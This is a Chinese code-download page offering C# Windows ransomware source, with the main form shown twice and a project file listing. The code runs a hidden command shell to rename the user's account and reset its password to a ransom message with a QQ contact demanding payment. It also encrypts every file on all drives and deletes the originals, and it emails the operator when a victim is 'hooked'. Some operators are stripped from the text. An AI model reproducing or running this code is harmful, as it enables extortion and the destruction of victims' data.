資源簡介
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace 委托人
{
/// <summary>
/// 解密程序在同一個解決方案下
/// </summary>
public partial class Form1 : Form
{
private string pwd = "";
private string key = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111";
private DriveInfo[] drives;
private string username;
private string Randomcode = "";
//AES默認密鑰向量
public static readonly byte[] AES_IV = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
public Form1()
{
InitializeComponent();
//獲取磁盤所有驅(qū)動
drives = DriveInfo.GetDrives();
//獲取當(dāng)前登錄賬戶名
username = Environment.UserName;
//生成密碼
pwd = DateTime.Now.ToString();
//生成隨機碼
Randomcode = EncryptByAES(pwd, key);
//批處理 此處批處理有bug 需自行修改
StringBuilder sb = new StringBuilder();
sb.Append("set /p user=" username);
sb.Append(" set /p newuser=想破密碼加Q1712385429解密文件需另外付錢解密隨機碼" Randomcode);
sb.Append(" wmic useraccount where name='%user%' call Rename %newuser%");
sb.Append(" net user 想破密碼加Q1712385429解密文件需另外付錢解密隨機碼" Randomcode "123");
//執(zhí)行批處理
Cmd(new string[] { sb.ToString() });
label1.Text = "想破密碼加Q1712385429解密文件需另外付錢解密隨機碼" Randomcode;
//SendSmtp();//發(fā)送郵件提醒
//Traversedrive();//此處千萬慎重執(zhí)行 未經(jīng)測試不敢保證加密文件一定能全部正確解密
}
/// <summary>
/// 運行CMD命令
/// </summary>
/// <param name="cmd">命令</param>
/// <returns></returns>
public static string Cmd(string[] cmd)
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();
p.StandardInput.AutoFlush = true;
for (int i = 0; i < cmd.Length; i )
{
p.StandardInput.WriteLine(cmd[i].ToString());
}
p.StandardInput.WriteLine("exit");
string strRst = p.StandardOutput.ReadToEnd();
p.WaitForExit(300);
p.Close();
return strRst;
}
/// <summary>
/// 遍歷驅(qū)動
/// </summary>
private void Traversedrive()
{
//設(shè)置最大輔助線程為500異步I/O線程500
ThreadPool.SetMaxThreads(500, 500);
//遍歷磁盤所有驅(qū)動
foreach (DriveInfo c in drives)
{
DirectoryInfo Root = c.RootDirectory;
//開啟一條新線程遍歷文件夾
ThreadPool.QueueUserWorkItem(new WaitCallback(Traversefolder), Root);
}
}
/// <summary>
/// 遍歷硬盤所有文件并加密
/// </summary>
/// <param name="obj"></param>
private void Traversefolder(Object obj)
{
DirectoryInfo Root = (DirectoryInfo)obj;
//強類型獲取所有文件和文件夾
FileSystemInfo[] SysInfo = Root.GetFileSystemInfos();
foreach (FileSystemInfo sys in SysInfo)
{
//是否是文件夾
if (sys is DirectoryInfo)
{
DirectoryInfo Dirinfo = sys as DirectoryInfo;
//開啟一條新線程遍歷文件夾
ThreadPool.QueueUserWorkItem(new WaitCallback(Traversefolder), Dirinfo);
return;
}
string outFile = "";
//如果是文件
if (sys is FileInfo)
{
try
{
//得到加密后文件輸出路徑
outFile = sys.FullName ".dat";
//加密
DESFileClass.EncryptFile(sys.FullName, outFile, pwd);
//刪除源文件
sys.Delete();
}
catch
{
//此處代表權(quán)限不夠 刪除加密后文件
if (File.Exists(outFile))
{
File.Delete(outFile);
}
}
}
}
}
/// <summary>
/// AES加密算法
/// </summary>
/// <param name="input">明文字符串</param>
/// <param name="key">密鑰</param>
/// <returns>字符串</returns>
public static string EncryptByAES(string input, string key)
{
byte[] keyBytes = Encoding.UTF8.GetBytes(key.Substring(0, 32));
using (AesCryptoServiceProvider aesAlg = new AesCryptoServiceProvider())
{
aesAlg.Key = keyBytes;
aesAlg.IV = AES_IV;
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
{
swEncrypt.Write(input);
}
byte[] bytes = msEncrypt.ToArray();
//return Convert.ToBase64String(bytes);//此方法不可用
return BitConverter.ToString(bytes);
}
}
}
}
/// <summary>
/// 郵件發(fā)送函數(shù) 有bug 望擅長此道的人不吝賜教 自行修改
/// </summary>
private void SendSmtp()
{
//簡單郵件傳輸協(xié)議類
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();
client.Host = "smtp.qq.com";//郵件服務(wù)器
client.Port = 25;//smtp主機上的端口號,默認是25.
client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;//郵件發(fā)送方式:通過網(wǎng)絡(luò)發(fā)送到SMTP服務(wù)器
client.Credentials = new System.Net.NetworkCredential("panthervic@163.com","pwd");//憑證,發(fā)件人登錄郵箱的用戶名和密碼
//電子郵件信息類
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("panthervic@163.com", "尋尋覓覓");//發(fā)件人Email,在郵箱是這樣顯示的,[發(fā)件人:小明<panthervic@163.com>;]
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("43327681@163.com", "隨風(fēng)去旅行");//收件人Email,在郵箱是這樣顯示的, [收件人:小紅<43327681@163.com>;]
System.Net.Mail.MailMessage mailMessage = new System.Net.Mail.MailMessage(fromAddress, toAddress);//創(chuàng)建一個電子郵件類
mailMessage.Subject = "郵件的主題";
//string filePath = Server.MapPath("/index.html");//郵件的內(nèi)容可以是一個html文本.
//System.IO.StreamReader read = new System.IO.StreamReader(filePath, System.Text.Encoding.GetEncoding("GB2312"));
//string mailBody = read.ReadToEnd();
string mailBody = "又有一條魚上鉤了 準備!!!";
//read.Close();
mailMessage.Body = mailBody;//可為html格式文本
//mailMessage.Body = "郵件的內(nèi)容";//可為html格式文本
mailMessage.SubjectEncoding = System.Text.Encoding.UTF8;//郵件主題編碼
mailMessage.BodyEncoding = System.Text.Encoding.GetEncoding("GB2312");//郵件內(nèi)容編碼
mailMessage.IsBodyHtml = true;//郵件內(nèi)容是否為html格式
mailMessage.Priority = System.Net.Mail.MailPriority.High;//郵件的優(yōu)先級,有三個值:高(在郵件主題前有一個紅色感嘆號,表示緊急),低(在郵件主題前有一個藍色向下箭頭,表示緩慢),正常(無顯示).
try
{
client.Send(mailMessage);//發(fā)送郵件
MessageBox.Show("發(fā)送成功");
//client.SendAsync(mailMessage, "ojb");異步方法發(fā)送郵件,不會阻塞線程.
}
catch (Exception ex)
{
MessageBox.Show("發(fā)送失敗:" ex.Message);
}
}
}
}
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace 委托人
{
/// <summary>
/// 解密程序在同一個解決方案下
/// </summary>
public partial class Form1 : Form
{
private string pwd = "";
private string key = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111";
private DriveInfo[] drives;
private string username;
private string Randomcode = "";
//AES默認密鑰向量
public static readonly byte[] AES_IV = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
public Form1()
{
InitializeComponent();
//獲取磁盤所有驅(qū)動
drives = DriveInfo.GetDrives();
//獲取當(dāng)前登錄賬戶名
username = Environment.UserName;
//生成密碼
pwd = DateTime.Now.ToString();
//生成隨機碼
Randomcode = EncryptByAES(pwd, key);
//批處理 此處批處理有bug 需自行修改
StringBuilder sb = new StringBuilder();
sb.Append("set /p user=" username);
sb.Append(" set /p newuser=想破密碼加Q1712385429解密文件需另外付錢解密隨機碼" Randomcode);
sb.Append(" wmic useraccount where name='%user%' call Rename %newuser%");
sb.Append(" net user 想破密碼加Q1712385429解密文件需另外付錢解密隨機碼" Randomcode "123");
//執(zhí)行批處理
Cmd(new string[] { sb.ToString() });
label1.Text = "想破密碼加Q1712385429解密文件需另外付錢解密隨機碼" Randomcode;
//SendSmtp();//發(fā)送郵件提醒
//Traversedrive();//此處千萬慎重執(zhí)行 未經(jīng)測試不敢保證加密文件一定能全部正確解密
}
/// <summary>
/// 運行CMD命令
/// </summary>
/// <param name="cmd">命令</param>
/// <returns></returns>
public static string Cmd(string[] cmd)
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();
p.StandardInput.AutoFlush = true;
for (int i = 0; i < cmd.Length; i )
{
p.StandardInput.WriteLine(cmd[i].ToString());
}
p.StandardInput.WriteLine("exit");
string strRst = p.StandardOutput.ReadToEnd();
p.WaitForExit(300);
p.Close();
return strRst;
}
/// <summary>
/// 遍歷驅(qū)動
/// </summary>
private void Traversedrive()
{
//設(shè)置最大輔助線程為500異步I/O線程500
ThreadPool.SetMaxThreads(500, 500);
//遍歷磁盤所有驅(qū)動
foreach (DriveInfo c in drives)
{
DirectoryInfo Root = c.RootDirectory;
//開啟一條新線程遍歷文件夾
ThreadPool.QueueUserWorkItem(new WaitCallback(Traversefolder), Root);
}
}
/// <summary>
/// 遍歷硬盤所有文件并加密
/// </summary>
/// <param name="obj"></param>
private void Traversefolder(Object obj)
{
DirectoryInfo Root = (DirectoryInfo)obj;
//強類型獲取所有文件和文件夾
FileSystemInfo[] SysInfo = Root.GetFileSystemInfos();
foreach (FileSystemInfo sys in SysInfo)
{
//是否是文件夾
if (sys is DirectoryInfo)
{
DirectoryInfo Dirinfo = sys as DirectoryInfo;
//開啟一條新線程遍歷文件夾
ThreadPool.QueueUserWorkItem(new WaitCallback(Traversefolder), Dirinfo);
return;
}
string outFile = "";
//如果是文件
if (sys is FileInfo)
{
try
{
//得到加密后文件輸出路徑
outFile = sys.FullName ".dat";
//加密
DESFileClass.EncryptFile(sys.FullName, outFile, pwd);
//刪除源文件
sys.Delete();
}
catch
{
//此處代表權(quán)限不夠 刪除加密后文件
if (File.Exists(outFile))
{
File.Delete(outFile);
}
}
}
}
}
/// <summary>
/// AES加密算法
/// </summary>
/// <param name="input">明文字符串</param>
/// <param name="key">密鑰</param>
/// <returns>字符串</returns>
public static string EncryptByAES(string input, string key)
{
byte[] keyBytes = Encoding.UTF8.GetBytes(key.Substring(0, 32));
using (AesCryptoServiceProvider aesAlg = new AesCryptoServiceProvider())
{
aesAlg.Key = keyBytes;
aesAlg.IV = AES_IV;
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
{
swEncrypt.Write(input);
}
byte[] bytes = msEncrypt.ToArray();
//return Convert.ToBase64String(bytes);//此方法不可用
return BitConverter.ToString(bytes);
}
}
}
}
/// <summary>
/// 郵件發(fā)送函數(shù) 有bug 望擅長此道的人不吝賜教 自行修改
/// </summary>
private void SendSmtp()
{
//簡單郵件傳輸協(xié)議類
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();
client.Host = "smtp.qq.com";//郵件服務(wù)器
client.Port = 25;//smtp主機上的端口號,默認是25.
client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;//郵件發(fā)送方式:通過網(wǎng)絡(luò)發(fā)送到SMTP服務(wù)器
client.Credentials = new System.Net.NetworkCredential("panthervic@163.com","pwd");//憑證,發(fā)件人登錄郵箱的用戶名和密碼
//電子郵件信息類
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("panthervic@163.com", "尋尋覓覓");//發(fā)件人Email,在郵箱是這樣顯示的,[發(fā)件人:小明<panthervic@163.com>;]
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("43327681@163.com", "隨風(fēng)去旅行");//收件人Email,在郵箱是這樣顯示的, [收件人:小紅<43327681@163.com>;]
System.Net.Mail.MailMessage mailMessage = new System.Net.Mail.MailMessage(fromAddress, toAddress);//創(chuàng)建一個電子郵件類
mailMessage.Subject = "郵件的主題";
//string filePath = Server.MapPath("/index.html");//郵件的內(nèi)容可以是一個html文本.
//System.IO.StreamReader read = new System.IO.StreamReader(filePath, System.Text.Encoding.GetEncoding("GB2312"));
//string mailBody = read.ReadToEnd();
string mailBody = "又有一條魚上鉤了 準備!!!";
//read.Close();
mailMessage.Body = mailBody;//可為html格式文本
//mailMessage.Body = "郵件的內(nèi)容";//可為html格式文本
mailMessage.SubjectEncoding = System.Text.Encoding.UTF8;//郵件主題編碼
mailMessage.BodyEncoding = System.Text.Encoding.GetEncoding("GB2312");//郵件內(nèi)容編碼
mailMessage.IsBodyHtml = true;//郵件內(nèi)容是否為html格式
mailMessage.Priority = System.Net.Mail.MailPriority.High;//郵件的優(yōu)先級,有三個值:高(在郵件主題前有一個紅色感嘆號,表示緊急),低(在郵件主題前有一個藍色向下箭頭,表示緩慢),正常(無顯示).
try
{
client.Send(mailMessage);//發(fā)送郵件
MessageBox.Show("發(fā)送成功");
//client.SendAsync(mailMessage, "ojb");異步方法發(fā)送郵件,不會阻塞線程.
}
catch (Exception ex)
{
MessageBox.Show("發(fā)送失敗:" ex.Message);
}
}
}
}
代碼片段和文件信息
using?System;
using?System.Collections.Generic;
using?System.Text;
using?System.Security.Cryptography;
using?System.IO;
namespace?委托人
{
????///?
????///?異常處理類
????///?
????public?class?CryptoHelpException?:?ApplicationException
????{
????????public?CryptoHelpException(string?msg)?:?base(msg)?{?}
????}
????///?
????///?CryptHelp
????///?
????public?class?DESFileClass
????{
????????private?const?ulong?FC_TAG?=?0xFC010203040506CF;
????????private?const?int?BUFFER_SIZE?=?128?*?1024;
????????///?
????????///?檢驗兩個Byte數(shù)組是否相同
????????///?
????????///?Byte數(shù)組
????????///?Byte數(shù)組
????????///?true-相等
????????private?static?bool?CheckByteArrays(
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件????????187??2015-08-14?01:37??委托人\委托人\App.config
?????文件???????8168??2015-08-14?11:18??委托人\委托人\DESFile.cs
?????文件???????9476??2015-08-14?20:17??委托人\委托人\Form1.cs
?????文件???????1950??2015-08-14?15:46??委托人\委托人\Form1.Designer.cs
?????文件???????5817??2015-08-14?15:46??委托人\委托人\Form1.resx
?????文件???????1453??2015-08-14?20:07??委托人\委托人\obj\Debug\DesignTimeResolveAssemblyReferences.cache
?????文件???????6955??2015-08-14?13:48??委托人\委托人\obj\Debug\DesignTimeResolveAssemblyReferencesInput.cache
?????文件??????????0??2015-08-14?01:37??委托人\委托人\obj\Debug\TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
?????文件??????????0??2015-08-14?01:37??委托人\委托人\obj\Debug\TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
?????文件??????????0??2015-08-14?01:37??委托人\委托人\obj\Debug\TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
?????文件????????672??2015-08-14?20:03??委托人\委托人\obj\Debug\委托人.csproj.FileListAbsolute.txt
?????文件????????977??2015-08-14?13:57??委托人\委托人\obj\Debug\委托人.csproj.GenerateResource.Cache
?????文件???????2211??2015-08-14?12:35??委托人\委托人\obj\Debug\委托人.csprojResolveAssemblyReference.cache
?????文件??????15872??2015-08-14?14:11??委托人\委托人\obj\Debug\委托人.exe
?????文件????????180??2015-08-14?13:57??委托人\委托人\obj\Debug\委托人.Form1.resources
?????文件??????36352??2015-08-14?14:11??委托人\委托人\obj\Debug\委托人.pdb
?????文件????????180??2015-08-14?13:50??委托人\委托人\obj\Debug\委托人.Properties.Resources.resources
?????文件????????521??2015-08-14?01:37??委托人\委托人\Program.cs
?????文件???????1342??2015-08-14?01:37??委托人\委托人\Properties\AssemblyInfo.cs
?????文件???????2870??2015-08-14?01:37??委托人\委托人\Properties\Resources.Designer.cs
?????文件???????5612??2015-08-14?01:37??委托人\委托人\Properties\Resources.resx
?????文件???????1096??2015-08-14?01:37??委托人\委托人\Properties\Settings.Designer.cs
?????文件????????249??2015-08-14?01:37??委托人\委托人\Properties\Settings.settings
?????文件???????3836??2015-08-14?13:50??委托人\委托人\委托人.csproj
?????文件???????1468??2015-08-14?12:35??委托人\委托人.sln
????..A..H.?????62464??2015-08-14?20:17??委托人\委托人.v12.suo
?????文件????????187??2015-08-14?11:15??委托人\解密\App.config
?????文件???????9288??2015-08-14?15:53??委托人\解密\Form1.cs
?????文件???????3068??2015-08-14?12:32??委托人\解密\Form1.Designer.cs
?????文件???????5817??2015-08-14?12:32??委托人\解密\Form1.resx
............此處省略30個文件信息
- 上一篇:C#串口通訊Demo
- 下一篇:撥號連接
評論
共有 條評論